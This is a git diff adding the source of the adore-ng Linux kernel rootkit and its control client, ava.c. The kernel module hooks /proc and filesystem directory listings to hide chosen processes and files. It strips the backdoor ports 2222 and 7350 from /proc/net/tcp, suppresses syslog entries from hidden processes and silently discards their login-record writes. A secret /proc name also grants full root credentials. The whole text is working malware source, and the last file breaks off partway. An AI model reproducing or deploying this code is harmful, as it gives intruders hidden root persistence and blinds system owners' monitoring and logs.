461 NULL,
462 NULL
463};
464
465static char *var_filenames[] = {
466 "/var/run/utmp",
467 "/var/log/wtmp",
468 "/var/log/lastlog",
469 NULL
470};
471
472static
473ssize_t (*orig_var_write)(struct file *, const char *, size_t, loff_t *) = NULL;
474
475static
476ssize_t adore_var_write(struct file *f, const char *buf, size_t blen, loff_t *off)
477{
478 int i = 0;
479
480 /* If its hidden and if it has no special privileges and
481 * if it tries to write to the /var files, fake it
482 */
483 if (should_be_hidden(current->pid) &&
484 !(current->flags & PF_AUTH)) {
485 for (i = 0; var_filenames[i]; ++i) {
486 if (var_files[i] &&
487 var_files[i]->f_dentry->d_inode->i_ino == f->f_dentry->d_inode->i_ino) {
488 *off += blen;
489 return blen;
490 }
491 }
492 }
493 return orig_var_write(f, buf, blen, off);
494}
495
496
497static int patch_syslog()
498{
499 struct socket *sock = NULL;
500
501 /* PF_UNIX, SOCK_DGRAM */
502 if (sock_create(1, 2, 0, &sock) < 0)
503 return -1;
504
505 if (sock && (unix_dgram_ops = sock->ops)) {
506 orig_unix_dgram_recvmsg = unix_dgram_ops->recvmsg;
507 unix_dgram_ops->recvmsg = adore_unix_dgram_recvmsg;
508 sock_release(sock);
509 }
510
511 return 0;
512}
513
514
515static int __init adore_init()
516{
517 struct proc_dir_entry *pde = NULL;
518 struct tcp_seq_afinfo *t_afinfo = NULL;
519 int i = 0, j = 0;
520
521 memset(hidden_procs, 0, sizeof(hidden_procs));
522
523 pde = proc_find_tcp();
524 t_afinfo = (struct tcp_seq_afinfo*)pde->data;
525 if (t_afinfo) {
526 orig_tcp4_seq_show = t_afinfo->seq_show;
527 t_afinfo->seq_show = adore_tcp4_seq_show;
528 }
529
530 orig_proc_lookup = proc_root.proc_iops->lookup;
531 proc_root.proc_iops->lookup = adore_lookup;
532
533 patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir);
534 patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir);
535 if (opt_fs)
536 patch_vfs(opt_fs, &orig_opt_readdir,
537 adore_opt_readdir);
538
539 patch_syslog();
540
541 j = 0;
542 for (i = 0; var_filenames[i]; ++i) {
543 var_files[i] = filp_open(var_filenames[i], O_RDONLY, 0);
544 if (IS_ERR(var_files[i])) {
545 var_files[i] = NULL;
546 continue;
547 }
548 if (!j) { /* just replace one time, its all the same FS */
549 orig_var_write = var_files[i]->f_op->write;
550 var_files[i]->f_op->write = adore_var_write;
551 j = 1;
552 }
553 }
554
555 return 0;
556}
557
558
559static void __exit adore_cleanup()
560{
561 struct proc_dir_entry *pde = NULL;
562 struct tcp_seq_afinfo *t_afinfo = NULL;
563 int i = 0, j = 0;
564 static int cleaned = 0;
565
566 if (cleaned)
567 return;
568
569 pde = proc_find_tcp();
570 t_afinfo = (struct tcp_seq_afinfo*)pde->data;
571 if (t_afinfo && orig_tcp4_seq_show)
572 t_afinfo->seq_show = orig_tcp4_seq_show;
573
574 proc_root.proc_iops->lookup = orig_proc_lookup;
575
576 unpatch_vfs(proc_fs, orig_proc_readdir);
577 unpatch_vfs(root_fs, orig_root_readdir);
578
579 if (orig_opt_readdir)
580 unpatch_vfs(opt_fs, orig_opt_readdir);
581
582 /* In case where syslogd wasnt found in init_module() */
583 if (unix_dgram_ops && orig_unix_dgram_recvmsg)
584 unix_dgram_ops->recvmsg = orig_unix_dgram_recvmsg;
585
586 j = 0;
587 for (i = 0; var_filenames[i]; ++i) {
588 if (var_files[i]) {
589 if (!j) {
590 var_files[i]->f_op->write = orig_var_write;
591 j = 1;
592 }
593 filp_close(var_files[i], 0);
594 }
595 }
596
597 cleaned = 1;
598}
599
600module_init(adore_init);
601module_exit(adore_cleanup);
602
603MODULE_LICENSE("GPL");
604
diff --git a/other/adore-ng/adore-ng.c b/other/adore-ng/adore-ng.c
new file mode 100644
index 0000000..3194299
--- /dev/null
+++ b/other/adore-ng/adore-ng.c
@@ -0,0 +1,665 @@
1/*** (C) 2004 by Stealth
2 ***
3 *** http://spider.scorpions.net/~stealth
4 *** http://stealth.7350.org/rootkits
5 ***
6 ***
7 *** (C)'ed Under a BSDish license. Please look at LICENSE-file.
8 *** SO YOU USE THIS AT YOUR OWN RISK!
9 *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS.
10 *** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
11 ***
12 *** -> Use ava to get all the things workin'.
13 ***
14 ***/
15#define __KERNEL__
16#define MODULE
17
18
19#ifdef MODVERSIONS
20#include <linux/modversions.h>
21#endif
22
23#include <linux/sched.h>
24#include <linux/kernel.h>
25#include <linux/module.h>
26#include <linux/string.h>
27#include <linux/fs.h>
28#include <linux/file.h>
29#include <linux/mount.h>
30#include <linux/proc_fs.h>
31#include <linux/capability.h>
32#include <linux/net.h>
33#include <linux/skbuff.h>
34#include <linux/spinlock.h>
35#include <net/sock.h>
36#include <linux/un.h>
37#include <net/af_unix.h>
38
39#include "adore-ng.h"
40
41
42char *proc_fs = "/proc"; /* default proc FS to hide processes */
43MODULE_PARM(proc_fs, "s");
44char *root_fs = "/"; /* default FS to hide files */
45
46MODULE_PARM(root_fs, "s");
47char *opt_fs = NULL;
48MODULE_PARM(opt_fs, "s");
49
50
51typedef int (*readdir_t)(struct file *, void *, filldir_t);
52readdir_t orig_root_readdir = NULL, orig_opt_readdir = NULL,
53 orig_proc_readdir = NULL;
54
55struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *) = NULL;
56
57
58int cleanup_module();
59
60static int tcp_new_size();
61static int (*o_get_info_tcp)(char *, char **, off_t, int);
62
63extern struct socket *sockfd_lookup(int fd, int *err);
64extern __inline__ void sockfd_put(struct socket *sock)
65{
66 fput(sock->file);
67}
68
69#ifndef PID_MAX
70#define PID_MAX 0x8000
71#endif
72
73static char hidden_procs[PID_MAX/8+1];
74
75inline void hide_proc(pid_t x)
76{
77 if (x >= PID_MAX || x == 1)
78 return;
79 hidden_procs[x/8] |= 1<<(x%8);
80}
81
82inline void unhide_proc(pid_t x)
83{
84 if (x >= PID_MAX)
85 return;
86 hidden_procs[x/8] &= ~(1<<(x%8));
87}
88
89inline char is_invisible(pid_t x)
90{
91 if (x >= PID_MAX)
92 return 0;
93 return hidden_procs[x/8]&(1<<(x%8));
94}
95
96/* Theres some crap after the PID-filename on proc
97 * getdents() so the semantics of this function changed:
98 * Make "672" -> 672 and
99 * "672|@\" -> 672 too
100 */
101int adore_atoi(const char *str)
102{
103 int ret = 0, mul = 1;
104 const char *ptr;
105
106 for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
107 ;
108 ptr--;
109 while (ptr >= str) {
110 if (*ptr < '0' || *ptr > '9')
111 break;
112 ret += (*ptr - '0') * mul;
113 mul *= 10;
114 ptr--;
115 }
116 return ret;
117}
118
119/* Own implementation of find_task_by_pid() */
120struct task_struct *adore_find_task(pid_t pid)
121{
122 struct task_struct *p;
123
124 read_lock(&tasklist_lock); // XXX: locking necessary?
125 for_each_task(p) {
126 if (p->pid == pid) {
127 read_unlock(&tasklist_lock);
128 return p;
129 }
130 }
131 read_unlock(&tasklist_lock);
132 return NULL;
133}
134
135int should_be_hidden(pid_t pid)
136{
137 struct task_struct *p = NULL;
138
139 if (is_invisible(pid)) {
140 return 1;
141 }
142
143 p = adore_find_task(pid);
144 if (!p)
145 return 0;
146
147 /* If the parent is hidden, we are hidden too XXX */
148 task_lock(p);
149
150 if (is_invisible(p->p_pptr->pid)) {
151 task_unlock(p);
152 hide_proc(pid);
153 return 1;
154 }
155
156 task_unlock(p);
157 return 0;
158}
159
160/* You can control adore-ng without ava too:
161 *
162 * echo > /proc/<ADORE_KEY> will make the shell authenticated,
163 * cat /proc/hide-<PID> from such a shell will hide PID,
164 * cat /proc/unhide-<PID> will unhide the process
165 * cat /proc/uninstall will uninstall adore
166 */
167struct dentry *adore_lookup(struct inode *i, struct dentry *d)
168{
169
170 task_lock(current);
171
172 if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) {
173 current->flags |= PF_AUTH;
174 current->suid = ADORE_VERSION;
175 } else if ((current->flags & PF_AUTH) &&
176 strncmp(d->d_iname, "fullprivs", 9) == 0) {
177 current->uid = 0;
178 current->suid = 0;
179 current->euid = 0;
180 current->gid = 0;
181 current->egid = 0;
182 current->fsuid = 0;
183 current->fsgid = 0;
184
185 cap_set_full(current->cap_effective);
186 cap_set_full(current->cap_inheritable);
187 cap_set_full(current->cap_permitted);
188 } else if ((current->flags & PF_AUTH) &&
189 strncmp(d->d_iname, "hide-", 5) == 0) {
190 hide_proc(adore_atoi(d->d_iname+5));
191 } else if ((current->flags & PF_AUTH) &&
192 strncmp(d->d_iname, "unhide-", 7) == 0) {
193 unhide_proc(adore_atoi(d->d_iname+7));
194 } else if ((current->flags & PF_AUTH) &&
195 strncmp(d->d_iname, "uninstall", 9) == 0) {
196 cleanup_module();
197 }
198
199 task_unlock(current);
200
201 if (should_be_hidden(adore_atoi(d->d_iname)) &&
202 /* A hidden ps must be able to see itself! */
203 !should_be_hidden(current->pid))
204 return NULL;
205
206 return orig_proc_lookup(i, d);
207}
208
209
210filldir_t proc_filldir = NULL;
211spinlock_t proc_filldir_lock = SPIN_LOCK_UNLOCKED;
212
213int adore_proc_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
214{
215 if (should_be_hidden(adore_atoi(name)))
216 return 0;
217 return proc_filldir(buf, name, nlen, off, ino, x);
218}
219
220
221
222int adore_proc_readdir(struct file *fp, void *buf, filldir_t filldir)
223{
224 int r = 0;
225
226 spin_lock(&proc_filldir_lock);
227 proc_filldir = filldir;
228 r = orig_proc_readdir(fp, buf, adore_proc_filldir);
229 spin_unlock(&proc_filldir_lock);
230 return r;
231}
232
233
234filldir_t opt_filldir = NULL;
235struct super_block *opt_sb[1024];
236
237int adore_opt_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
238{
239 struct inode *inode = NULL;
240 int r = 0;
241 uid_t uid;
242 gid_t gid;
243
244 if ((inode = iget(opt_sb[current->pid % 1024], ino)) == NULL)
245 return 0;
246 uid = inode->i_uid;
247 gid = inode->i_gid;
248 iput(inode);
249
250 /* Is it hidden ? */
251 if (uid == ELITE_UID && gid == ELITE_GID) {
252 r = 0;
253 } else
254 r = opt_filldir(buf, name, nlen, off, ino, x);
255
256 return r;
257}
258
259
260int adore_opt_readdir(struct file *fp, void *buf, filldir_t filldir)
261{
262 int r = 0;
263
264 if (!fp || !fp->f_vfsmnt)
265 return 0;
266
267 opt_filldir = filldir;
268 opt_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
269 r = orig_opt_readdir(fp, buf, adore_opt_filldir);
270
271 return r;
272}
273
274
275/* About the locking of these global vars:
276 * I used to lock these via rwlocks but on SMP systems this can cause
277 * a deadlock because the iget() locks an inode itself and I guess this
278 * could cause a locking situation of AB BA. So, I do not lock root_sb and
279 * root_filldir (same with opt_) anymore. root_filldir should anyway always
280 * be the same (filldir64 or filldir, depending on the libc). The worst thing that
281 * could happen is that 2 processes call filldir where the 2nd is replacing
282 * root_sb which affects the 1st process which AT WORST CASE shows the hidden files.
283 * Following conditions have to be met then: 1. SMP 2. 2 processes calling getdents()
284 * on 2 different partitions with the same FS.
285 * Now, since I made an array of super_blocks it must also be that the PIDs of
286 * these procs have to be the same PID modulo 1024. This sitation (all 3 cases must
287 * be met) should be very very rare.
288 */
289filldir_t root_filldir = NULL;
290struct super_block *root_sb[1024];
291
292
293int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
294{
295 struct inode *inode = NULL;
296 int r = 0;
297 uid_t uid;
298 gid_t gid;
299
300 if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL)
301 return 0;
302 uid = inode->i_uid;
303 gid = inode->i_gid;
304 iput(inode);
305
306 /* Is it hidden ? */
307 if (uid == ELITE_UID && gid == ELITE_GID) {
308 r = 0;
309 } else
310 r = root_filldir(buf, name, nlen, off, ino, x);
311
312 return r;
313}
314
315
316int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir)
317{
318 int r = 0;
319
320 if (!fp || !fp->f_vfsmnt)
321 return 0;
322
323 root_filldir = filldir;
324 root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
325 r = orig_root_readdir(fp, buf, adore_root_filldir);
326 return r;
327}
328
329
330int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir)
331{
332 struct file *filep;
333
334 if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) {
335 return -1;
336 }
337
338 if (orig_readdir)
339 *orig_readdir = filep->f_op->readdir;
340
341 filep->f_op->readdir = new_readdir;
342 filp_close(filep, 0);
343 return 0;
344}
345
346
347int unpatch_vfs(const char *p, readdir_t orig_readdir)
348{
349 struct file *filep;
350
351 if ((filep = filp_open(p, O_RDONLY, 0)) == NULL) {
352 return -1;
353 }
354
355 filep->f_op->readdir = orig_readdir;
356 filp_close(filep, 0);
357 return 0;
358}
359
360
361char *strnstr(const char *haystack, const char *needle, size_t n)
362{
363 char *s = strstr(haystack, needle);
364 if (s == NULL)
365 return NULL;
366 if (s-haystack+strlen(needle) <= n)
367 return s;
368 else
369 return NULL;
370}
371
372
373struct proc_dir_entry *proc_find_tcp()
374{
375 struct proc_dir_entry *p = proc_net->subdir;
376
377 while (strcmp(p->name, "tcp"))
378 p = p->next;
379 return p;
380}
381
382
383/* Reading from /proc/net/tcp gives back data in chunks
384 * of NET_CHUNK. We try to match these against hidden ports
385 * and remove them respectively
386 */
387#define NET_CHUNK 150
388int n_get_info_tcp(char *page, char **start, off_t pos, int count)
389{
390 int r = 0, i = 0, n = 0, hidden = 0;
391 char port[10], *ptr = NULL, *mem = NULL, *it = NULL;
392
393 /* Admin accessing beyond sizeof patched file? */
394 if (pos >= tcp_new_size())
395 return 0;
396
397 r = o_get_info_tcp(page, start, pos, count);
398
399 if (r <= 0)// NET_CHUNK)
400 return r;
401
402 mem = (char *)kmalloc(r+NET_CHUNK+1, GFP_KERNEL);
403 if (!mem)
404 return r;
405
406 memset(mem, 0, r+NET_CHUNK+1);
407 it = mem;
408
409 /* If pos < NET_CHUNK then theres preamble which we can skip */
410 if (pos >= NET_CHUNK) {
411 ptr = page;
412 n = (pos/NET_CHUNK) - 1;
413 } else {
414 memcpy(it, page, NET_CHUNK);
415 it += NET_CHUNK;
416 ptr = page + NET_CHUNK;
417 n = 0;
418 }
419
420 for (; ptr < page+r; ptr += NET_CHUNK) {
421 hidden = 0;
422 for (i = 0; HIDDEN_SERVICES[i]; ++i) {
423 sprintf(port, ":%04X", HIDDEN_SERVICES[i]);
424
425 /* Ignore hidden blocks */
426 if (strnstr(ptr, port, NET_CHUNK))
427 hidden = 1;
428 }
429 if (!hidden) {
430 sprintf(port, "%4d:", n);
431 strncpy(ptr, port, strlen(port));
432 memcpy(it, ptr, NET_CHUNK);
433 it += NET_CHUNK;
434 ++n;
435 }
436 }
437
438 memcpy(page, mem, r);
439 n = strlen(mem);
440 /* If we shrinked buffer, patch length */
441 if (r > n)
442 r = n;//-(*start-page);
443 if (r < 0)
444 r = 0;
445
446// *start = page + (*start-page);
447 *start = page;
448 kfree(mem);
449 return r;
450}
451
452
453/* Calculate size of patched /proc/net/tcp */
454int tcp_new_size()
455{
456 int r, hits = 0, i = 0, l = 10*NET_CHUNK;
457 char *page = NULL, *start, *ptr, port[10];
458
459 for (;;) {
460 page = (char*)kmalloc(l+1, GFP_KERNEL);
461 if (!page)
462 return 0;
463 r = o_get_info_tcp(page, &start, 0, l);
464 if (r < l)
465 break;
466 l <<= 1;
467 kfree(page);
468 }
469
470 for (ptr = start; ptr < start+r; ptr += NET_CHUNK) {
471 for (i = 0; HIDDEN_SERVICES[i]; ++i) {
472 sprintf(port, ":%04X", HIDDEN_SERVICES[i]);
473 if (strnstr(ptr, port, NET_CHUNK)) {
474 ++hits;
475 break;
476 }
477 }
478 }
479 kfree(page);
480 return r - hits*NET_CHUNK;
481}
482
483
484static
485int (*orig_unix_dgram_recvmsg)(struct socket *, struct msghdr *, int,
486 int, struct scm_cookie *) = NULL;
487static struct proto_ops *unix_dgram_ops = NULL;
488
489int adore_unix_dgram_recvmsg(struct socket *sock, struct msghdr *msg, int size,
490 int flags, struct scm_cookie *scm)
491{
492 struct sock *sk = NULL;
493 int noblock = flags & MSG_DONTWAIT;
494 struct sk_buff *skb = NULL;
495 int err;
496 struct ucred *creds = NULL;
497 int not_done = 1;
498
499 if (strcmp(current->comm, "syslogd") != 0 || !msg || !sock)
500 goto out;
501
502 sk = sock->sk;
503
504 err = -EOPNOTSUPP;
505 if (flags & MSG_OOB)
506 goto out;
507
508 do {
509 msg->msg_namelen = 0;
510 skb = skb_recv_datagram(sk, flags|MSG_PEEK, noblock, &err);
511 if (!skb)
512 goto out;
513 creds = UNIXCREDS(skb);
514 if (!creds)
515 goto out;
516 if ((not_done = should_be_hidden(creds->pid)))
517 skb_dequeue(&sk->receive_queue);
518 } while (not_done);
519
520out:
521 err = orig_unix_dgram_recvmsg(sock, msg, size, flags, scm);
522 return err;
523}
524
525
526static struct file *var_files[] = {
527 NULL,
528 NULL,
529 NULL,
530 NULL
531};
532
533static char *var_filenames[] = {
534 "/var/run/utmp",
535 "/var/log/wtmp",
536 "/var/log/lastlog",
537 NULL
538};
539
540static
541ssize_t (*orig_var_write)(struct file *, const char *, size_t, loff_t *) = NULL;
542
543static
544ssize_t adore_var_write(struct file *f, const char *buf, size_t blen, loff_t *off)
545{
546 int i = 0;
547
548 /* If its hidden and if it has no special privileges and
549 * if it tries to write to the /var files, fake it
550 */
551 if (should_be_hidden(current->pid) &&
552 !(current->flags & PF_AUTH)) {
553 for (i = 0; var_filenames[i]; ++i) {
554 if (var_files[i] &&
555 var_files[i]->f_dentry->d_inode->i_ino == f->f_dentry->d_inode->i_ino) {
556 *off += blen;
557 return blen;
558 }
559 }
560 }
561 return orig_var_write(f, buf, blen, off);
562}
563
564
565static int patch_syslog()
566{
567 struct socket *sock = NULL;
568
569 /* PF_UNIX, SOCK_DGRAM */
570 if (sock_create(1, 2, 0, &sock) < 0)
571 return -1;
572
573 if (sock && (unix_dgram_ops = sock->ops)) {
574 orig_unix_dgram_recvmsg = unix_dgram_ops->recvmsg;
575 unix_dgram_ops->recvmsg = adore_unix_dgram_recvmsg;
576 sock_release(sock);
577 }
578
579 return 0;
580}
581
582
583#ifdef RELINKED
584extern int zero_module();
585extern int zeronup_module();
586#endif
587
588int init_module()
589{
590 struct proc_dir_entry *pde = NULL;
591 int i = 0, j = 0;
592
593 EXPORT_NO_SYMBOLS;
594
595 memset(hidden_procs, 0, sizeof(hidden_procs));
596
597 pde = proc_find_tcp();
598 o_get_info_tcp = pde->get_info;
599 pde->get_info = n_get_info_tcp;
600
601 orig_proc_lookup = proc_root.proc_iops->lookup;
602 proc_root.proc_iops->lookup = adore_lookup;
603
604 patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir);
605 patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir);
606 if (opt_fs)
607 patch_vfs(opt_fs, &orig_opt_readdir,
608 adore_opt_readdir);
609
610 patch_syslog();
611
612 j = 0;
613 for (i = 0; var_filenames[i]; ++i) {
614 var_files[i] = filp_open(var_filenames[i], O_RDONLY, 0);
615 if (IS_ERR(var_files[i])) {
616 var_files[i] = NULL;
617 continue;
618 }
619 if (!j) { /* just replace one time, its all the same FS */
620 orig_var_write = var_files[i]->f_op->write;
621 var_files[i]->f_op->write = adore_var_write;
622 j = 1;
623 }
624 }
625#ifdef RELINKED
626 MOD_INC_USE_COUNT;
627 zero_module();
628#endif
629 return 0;
630}
631
632
633int cleanup_module()
634{
635 int i = 0, j = 0;
636
637 proc_find_tcp()->get_info = o_get_info_tcp;
638 proc_root.proc_iops->lookup = orig_proc_lookup;
639
640 unpatch_vfs(proc_fs, orig_proc_readdir);
641 unpatch_vfs(root_fs, orig_root_readdir);
642
643 if (orig_opt_readdir)
644 unpatch_vfs(opt_fs, orig_opt_readdir);
645
646 /* In case where syslogd wasnt found in init_module() */
647 if (unix_dgram_ops && orig_unix_dgram_recvmsg)
648 unix_dgram_ops->recvmsg = orig_unix_dgram_recvmsg;
649
650 j = 0;
651 for (i = 0; var_filenames[i]; ++i) {
652 if (var_files[i]) {
653 if (!j) {
654 var_files[i]->f_op->write = orig_var_write;
655 j = 1;
656 }
657 filp_close(var_files[i], 0);
658 }
659 }
660
661 return 0;
662}
663
664MODULE_LICENSE("GPL");
665
diff --git a/other/adore-ng/adore-ng.h b/other/adore-ng/adore-ng.h
new file mode 100644
index 0000000..b5e2eab
--- /dev/null
+++ b/other/adore-ng/adore-ng.h
@@ -0,0 +1,55 @@
1/*** (C) 2003 by Stealth -- http://stealth.7350.org
2 ***
3 ***
4 *** (C)'ed Under a BSDish license. Please look at LICENSE-file.
5 *** SO YOU USE THIS AT YOUR OWN RISK!
6 *** YOU ARE ONLY ALLOWED TO USE THIS IN LEGAL MANNERS.
7 *** !!! FOR EDUCATIONAL PURPOSES ONLY !!!
8 ***
9 *** -> Use ava to get all the things workin'.
10 ***
11 *** Greets fly out to all my friends. You know who you are. :)
12 *** Special thanks to Shivan for granting root access to his
13 *** SMP box for adore-development. More thx to skyper for also
14 *** granting root access.
15 ***
16 ***/
17#ifndef __ADORE_NG_H__
18#define __ADORE_NG_H__
19
20/* to check whether request is legal */
21#define PF_AUTH 0x1000000
22
23#ifndef ELITE_UID
24#error "No ELITE_UID given!"
25#endif
26
27#ifndef ELITE_GID
28#error "No ELITE_GID given!"
29#endif
30
31#ifndef ADORE_KEY
32#error "No ADORE_KEY given!"
33#endif
34
35#define ADORE_VERSION CURRENT_ADORE
36
37/* Very old kernels don't have an equivalent macro... */
38#define LinuxVersionCode(v, p, s) (((v)<<16)+((p)<<8)+(s))
39
40u_short HIDDEN_SERVICES[] =
41 {2222, 7350, 0};
42
43/* END CHANGE SECTION */
44
45struct task_struct *adore_find_task(pid_t);
46
47int adore_atoi(const char *);
48extern struct module *module_list;
49
50#ifdef LINUX26
51#undef for_each_task
52#define for_each_task for_each_process
53#endif
54
55#endif /* __ADORE_NG_H__ */
diff --git a/other/adore-ng/adore-ng.mod.c b/other/adore-ng/adore-ng.mod.c
new file mode 100644
index 0000000..807478c
--- /dev/null
+++ b/other/adore-ng/adore-ng.mod.c
@@ -0,0 +1,17 @@
1#define MODULE
2#define __KERNEL__
3#ifdef MODVERSIONS
4#include <linux/modversions.h>
5#endif
6
7#include <linux/module.h>
8#include <linux/vermagic.h>
9#include <linux/compiler.h>
10
11MODULE_INFO(vermagic, VERMAGIC_STRING);
12
13static const char __module_depends[]
14__attribute_used__
15__attribute__((section(".modinfo"))) =
16"depends=";
17
diff --git a/other/adore-ng/ava.c b/other/adore-ng/ava.c
new file mode 100644
index 0000000..cf68e79
--- /dev/null
+++ b/other/adore-ng/ava.c
@@ -0,0 +1,146 @@
1/*
2 * Copyright (C) 1999-2003 Stealth.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Stealth.
16 * 4. The name Stealth may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#include <sys/types.h>
33#include <sys/ioctl.h>
34#include <unistd.h>
35#include <fcntl.h>
36#include <stdio.h>
37#include <errno.h>
38#include <sys/signal.h>
39#include <stdlib.h>
40
41#include "libinvisible.h"
42
43extern char **environ;
44
45const char *adore_key = ADORE_KEY;
46const uid_t elite_uid = ELITE_UID;
47const gid_t elite_gid = ELITE_GID;
48const int current_adore = CURRENT_ADORE;
49
50int main(int argc, char *argv[])
51{
52 int version;
53 char what;
54 adore_t *a;
55
56 if (argc < 3 && !(argc == 2 &&
57 (argv[1][0] == 'U' || argv[1][0] == 'I'))) {
58 printf("Usage: %s {h,u,r,R,i,v,U} [file or PID]\n\n"
59 " I print info (secret UID etc)\n"
60 " h hide file\n"
61 " u unhide file\n"
62 " r execute as root\n"
63 " R remove PID forever\n"
64 " U uninstall adore\n"
65 " i make PID invisible\n"
66 " v make PID visible\n\n", argv[0]);
67 exit(1);
68 }
69 what = argv[1][0];
70
71 printf("Checking for adore 0.12 or higher ...\n");
72
73 a = adore_init();
74 if (adore_makeroot(a) < 0)
75 fprintf(stderr, "Failed to run as root. Trying anyway ...\n");
76
77 if ((version = adore_getvers(a)) <= 0 && what != 'I') {
78 printf("Adore NOT installed. Exiting.\n");
79 exit(1);
80 }
81 if (version < CURRENT_ADORE)
82 printf("Found adore 1.%d installed. Please update adore.", version);
83 else
84 printf("Adore 1.%d installed. Good luck.\n", version);
85
86 switch (what) {
87
88 /* hide file */
89 case 'h':
90 if (adore_hidefile(a, argv[2]) >= 0)
91 printf("File '%s' hided.\n", argv[2]);
92 else
93 printf("Can't hide file.\n");
94 break;
95
96 /* unhide file */
97 case 'u':
98 if (adore_unhidefile(a, argv[2]) >= 0)
99 printf("File '%s' unhided.\n", argv[2]);
100 else
101 printf("Can't unhide file.\n");
102 break;
103 /* make pid invisible */
104 case 'i':
105 if (adore_hideproc(a, (pid_t)atoi(argv[2])) >= 0)
106 printf("Made PID %d invisible.\n", atoi(argv[2]));
107 else
108 printf("Can't hide process.\n");
109 break;
110
111 /* make pid visible */
112 case 'v':
113 if (adore_unhideproc(a, (pid_t)atoi(argv[2])) >= 0)
114 printf("Made PID %d visible.\n", atoi(argv[2]));
115 else
116 printf("Can't unhide process.\n");
117 break;
118 /* execute command as root */
119 case 'r':
120 execve(argv[2], argv+2, environ);
121 perror("execve");
122 break;
123 case 'R':
124 if (adore_removeproc(a, (pid_t)atoi(argv[2])) >= 0)
125 printf("Removed PID %d from taskstruct\n", atoi(argv[2]));
126 else
127 printf("Failed to remove proc.\n");
128 break;
129 /* uninstall adore */
130 case 'U':
131 if (adore_uninstall(a) >= 0)
132 printf("Adore 0.%d de-installed.\n", version);
133 else
134 printf("Adore wasn't installed.\n");
135 break;
136 case 'I':
137 printf("\nELITE_UID: %u, ELITE_GID=%u, ADORE_KEY=%s "
138 "CURRENT_ADORE=%d\n",
139 elite_uid, elite_gid, adore_key, current_adore);
140 break;
141 default:
142 printf("Did nothing or failed.\n");
143 }
144 return 0;
145}
146
diff --git a/other/adore-ng/cleaner.c b/other/adore-ng/cleaner.c
new file mode 100644
index 0000000..8e7fcee
--- /dev/null
+++ b/other/adore-ng/cleaner.c
@@ -0,0 +1,58 @@
1/*
2 * Copyright (C) 2003 Stealth.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Stealth.
16 * 4. The name Stealth may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32
33#define __KERNEL__
34#define MODULE
35
36#ifdef MODVERSIONS
37#include <linux/modversions.h>
38#endif
39
40#include <linux/kernel.h>
41#include <linux/module.h>
42#include <linux/string.h>
43
44int init_module()
45{
